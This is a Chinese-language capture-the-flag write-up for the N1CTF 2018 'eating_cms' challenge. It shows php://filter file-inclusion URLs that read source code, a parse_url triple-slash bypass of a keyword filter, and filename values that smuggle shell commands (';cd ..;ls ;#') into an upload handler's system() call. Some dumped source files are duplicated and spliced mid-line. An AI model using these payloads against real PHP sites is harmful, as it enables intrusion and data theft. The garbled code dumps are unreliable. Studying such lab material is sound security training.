[N1CTF 2018]eating_cms_

目录

信息收集

代码审计 

parse_url解析漏洞 

---

信息收集

进入即是登录页面，抓包一看应该是SQL注入，但是空格、%、|等等啥的都被waf了,不太好注入，先信息收集一波

花一分钟扫下目录，发现一个viminfo和register.php

Viminfo文件是Vim用来记录退出时的状态

200  /index.php
200  /login.php
200  /register.php
200  /.viminfo
403  /.htaccessvim updateadmin.php
vim info.php
vim login.php

发现一个info.php和updateadmin.php,访问的回显都是you can not visit it directly，我们先注册账号

注册admin时显示    Username has been registered!    

查看URL似乎是文件包含？用伪协议读取下user源码看看

/user.php?page=php://filter/convert.base64-encode/resource=user

代码审计 

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

/user.php?page=php://filter/convert.base64-encode/resource=function

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

/user.php?page=php://filter/convert.base64-encode/resource=config

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?>

$keywords = ["flag","manage","ffffllllaaaaggg"]这三个页面可能有重要信息

parse_url解析漏洞 

    $keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);

这里看下处理的逻辑

<?php
$a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
$uri = parse_url($a);
print_r($uri);
//parse_str($uri[''], $query);
?>

Array
(
    [scheme] => http
    [host] => 78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn
    [port] => 81
    [path] => /user.php
    [query] => page=guest
)

<?php
$a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
$uri = parse_url($a);
//print_r($uri);
parse_str($uri['query'],$query);
print_r($query);
//parse_str($uri[''], $query);
?>

Array
(
    [page] => guest
)

我们这里查到PHP版本是5.5.9 

这里利用parse_url解析漏洞

///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

///user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";
?>

尝试上传文件，上传失败。发现/templates/upllloadddd.php

读upllloadddd的源码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload fileï¼");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

现在需要找到上传点，莫非是之前的user.php?page=updateadmin吗？发现也没有上传处，最后看wp发现上传点在/user.php?page=m4aaannngggeee，看两者的页面貌似是继承来的？

貌似不能加/

filename=;cd ..;ls ;#

;cd ..;cat flag_233333;#